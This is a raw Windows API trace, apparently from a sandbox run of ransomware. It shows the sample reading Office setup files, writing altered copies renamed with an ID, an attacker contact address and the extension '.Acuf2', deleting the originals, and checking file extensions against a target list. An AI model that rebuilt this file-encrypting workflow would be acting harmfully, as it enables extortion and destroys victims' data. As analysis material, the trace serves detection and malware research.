	[0044.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0044.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0044.322] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.322] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec
	[0044.322] GetLastError () returned 0x0
	[0044.322] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x5ac, lpOverlapped=0x0) returned 1
	[0044.324] WriteFile (in: hFile=0x1ec, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0044.325] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0044.325] WriteFile (in: hFile=0x1ec, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0044.325] SetEndOfFile (hFile=0x1ec) returned 1
	[0044.325] CloseHandle (hObject=0x1ec) returned 1
	[0044.326] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.326] SetEndOfFile (hFile=0x1e8) returned 1
	[0044.326] CloseHandle (hObject=0x1e8) returned 1
	[0044.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0044.327] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1
	[0044.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0044.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0044.327] lstrlenW (lpString=".doc") returned 4
	[0044.327] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.327] lstrlenW (lpString=".docx") returned 5
	[0044.327] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0044.327] lstrlenW (lpString=".pdf") returned 4
	[0044.327] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.327] lstrlenW (lpString=".xls") returned 4
	[0044.327] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.327] lstrlenW (lpString=".xlsx") returned 5
	[0044.327] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0044.327] lstrlenW (lpString=".ppt") returned 4
	[0044.327] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0044.327] lstrlenW (lpString=".zip") returned 4
	[0044.327] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.327] lstrlenW (lpString=".rar") returned 4
	[0044.327] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.327] lstrlenW (lpString=".bz2") returned 4
	[0044.327] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.327] lstrlenW (lpString=".7z") returned 3
	[0044.328] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0044.328] lstrlenW (lpString=".dbf") returned 4
	[0044.328] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0044.328] lstrlenW (lpString=".1cd") returned 4
	[0044.328] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0044.328] lstrlenW (lpString=".jpg") returned 4
	[0044.328] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0044.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0044.328] lstrlenW (lpString=".doc") returned 4
	[0044.328] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.328] lstrlenW (lpString=".docx") returned 5
	[0044.328] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0044.328] lstrlenW (lpString=".pdf") returned 4
	[0044.328] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.328] lstrlenW (lpString=".xls") returned 4
	[0044.328] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.328] lstrlenW (lpString=".xlsx") returned 5
	[0044.328] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0044.328] lstrlenW (lpString=".ppt") returned 4
	[0044.328] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0044.328] lstrlenW (lpString=".zip") returned 4
	[0044.328] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.328] lstrlenW (lpString=".rar") returned 4
	[0044.328] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.328] lstrlenW (lpString=".bz2") returned 4
	[0044.328] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.328] lstrlenW (lpString=".7z") returned 3
	[0044.329] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0044.329] lstrlenW (lpString=".dbf") returned 4
	[0044.329] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0044.329] lstrlenW (lpString=".1cd") returned 4
	[0044.329] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0044.329] lstrlenW (lpString=".jpg") returned 4
	[0044.329] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.329] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0044.329] lstrlenW (lpString="InfoPathMUI.XML") returned 15
	[0044.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0044.329] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1231) returned 1
	[0044.329] CloseHandle (hObject=0x1e8) returned 1
	[0044.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20
	[0044.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0044.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0044.330] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.330] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0044.947] GetLastError () returned 0x0
	[0044.947] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x4cf, lpOverlapped=0x0) returned 1
	[0045.092] WriteFile (in: hFile=0x1f0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x4d0, lpOverlapped=0x0) returned 1
	[0045.093] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0045.093] WriteFile (in: hFile=0x1f0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0045.093] SetEndOfFile (hFile=0x1f0) returned 1
	[0045.094] CloseHandle (hObject=0x1f0) returned 1
	[0045.094] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.094] SetEndOfFile (hFile=0x1e8) returned 1
	[0045.095] CloseHandle (hObject=0x1e8) returned 1
	[0045.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0045.095] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1
	[0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0045.096] lstrlenW (lpString=".doc") returned 4
	[0045.096] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.096] lstrlenW (lpString=".docx") returned 5
	[0045.096] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0045.096] lstrlenW (lpString=".pdf") returned 4
	[0045.096] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.096] lstrlenW (lpString=".xls") returned 4
	[0045.096] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.096] lstrlenW (lpString=".xlsx") returned 5
	[0045.096] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0045.096] lstrlenW (lpString=".ppt") returned 4
	[0045.096] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0045.096] lstrlenW (lpString=".zip") returned 4
	[0045.096] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.096] lstrlenW (lpString=".rar") returned 4
	[0045.096] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.096] lstrlenW (lpString=".bz2") returned 4
	[0045.096] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.096] lstrlenW (lpString=".7z") returned 3
	[0045.096] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0045.096] lstrlenW (lpString=".dbf") returned 4
	[0045.096] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0045.097] lstrlenW (lpString=".1cd") returned 4
	[0045.097] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0045.097] lstrlenW (lpString=".jpg") returned 4
	[0045.097] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0045.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0045.097] lstrlenW (lpString=".doc") returned 4
	[0045.097] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.097] lstrlenW (lpString=".docx") returned 5
	[0045.097] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0045.097] lstrlenW (lpString=".pdf") returned 4
	[0045.097] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.097] lstrlenW (lpString=".xls") returned 4
	[0045.097] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.097] lstrlenW (lpString=".xlsx") returned 5
	[0045.097] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0045.097] lstrlenW (lpString=".ppt") returned 4
	[0045.097] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0045.097] lstrlenW (lpString=".zip") returned 4
	[0045.097] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.097] lstrlenW (lpString=".rar") returned 4
	[0045.097] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.097] lstrlenW (lpString=".bz2") returned 4
	[0045.097] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.097] lstrlenW (lpString=".7z") returned 3
	[0045.097] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0045.097] lstrlenW (lpString=".dbf") returned 4
	[0045.098] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0045.098] lstrlenW (lpString=".1cd") returned 4
	[0045.098] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0045.098] lstrlenW (lpString=".jpg") returned 4
	[0045.098] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.098] lstrcmpiW (lpString1=".CHM", lpString2=".Acuf2") returned 1
	[0045.098] lstrlenW (lpString="PSS10O.CHM") returned 10
	[0045.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec
	[0045.106] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=26929) returned 1
	[0045.106] CloseHandle (hObject=0x1ec) returned 1
	[0045.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20
	[0045.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec
	[0045.107] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.107] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0045.107] GetLastError () returned 0x0
	[0045.107] ReadFile (in: hFile=0x1ec, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x6931, lpOverlapped=0x0) returned 1
	[0045.109] WriteFile (in: hFile=0x1f4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x6940, lpOverlapped=0x0) returned 1
	[0045.110] ReadFile (in: hFile=0x1ec, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0045.110] WriteFile (in: hFile=0x1f4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0045.110] SetEndOfFile (hFile=0x1f4) returned 1
	[0045.110] CloseHandle (hObject=0x1f4) returned 1
	[0045.111] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.111] SetEndOfFile (hFile=0x1ec) returned 1
	[0045.112] CloseHandle (hObject=0x1ec) returned 1
	[0045.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0045.113] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1
	[0045.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0045.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0045.113] lstrlenW (lpString=".doc") returned 4
	[0045.113] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0045.113] lstrlenW (lpString=".docx") returned 5
	[0045.113] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1
	[0045.113] lstrlenW (lpString=".pdf") returned 4
	[0045.113] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0045.113] lstrlenW (lpString=".xls") returned 4
	[0045.113] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0045.113] lstrlenW (lpString=".xlsx") returned 5
	[0045.113] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1
	[0045.113] lstrlenW (lpString=".ppt") returned 4
	[0045.113] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0045.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0045.113] lstrlenW (lpString=".zip") returned 4
	[0045.113] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0045.113] lstrlenW (lpString=".rar") returned 4
	[0045.113] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0045.113] lstrlenW (lpString=".bz2") returned 4
	[0045.113] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0045.113] lstrlenW (lpString=".7z") returned 3
	[0045.113] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0045.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0045.114] lstrlenW (lpString=".dbf") returned 4
	[0045.114] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0045.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0045.114] lstrlenW (lpString=".1cd") returned 4
	[0045.114] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0045.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0045.114] lstrlenW (lpString=".jpg") returned 4
	[0045.114] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0045.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0045.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0045.114] lstrlenW (lpString=".doc") returned 4
	[0045.114] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0045.114] lstrlenW (lpString=".docx") returned 5
	[0045.114] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1
	[0045.114] lstrlenW (lpString=".pdf") returned 4
	[0045.114] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0045.114] lstrlenW (lpString=".xls") returned 4
	[0045.114] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0045.114] lstrlenW (lpString=".xlsx") returned 5
	[0045.114] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1
	[0045.114] lstrlenW (lpString=".ppt") returned 4
	[0045.114] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0045.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0045.114] lstrlenW (lpString=".zip") returned 4
	[0045.114] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0045.115] lstrlenW (lpString=".rar") returned 4
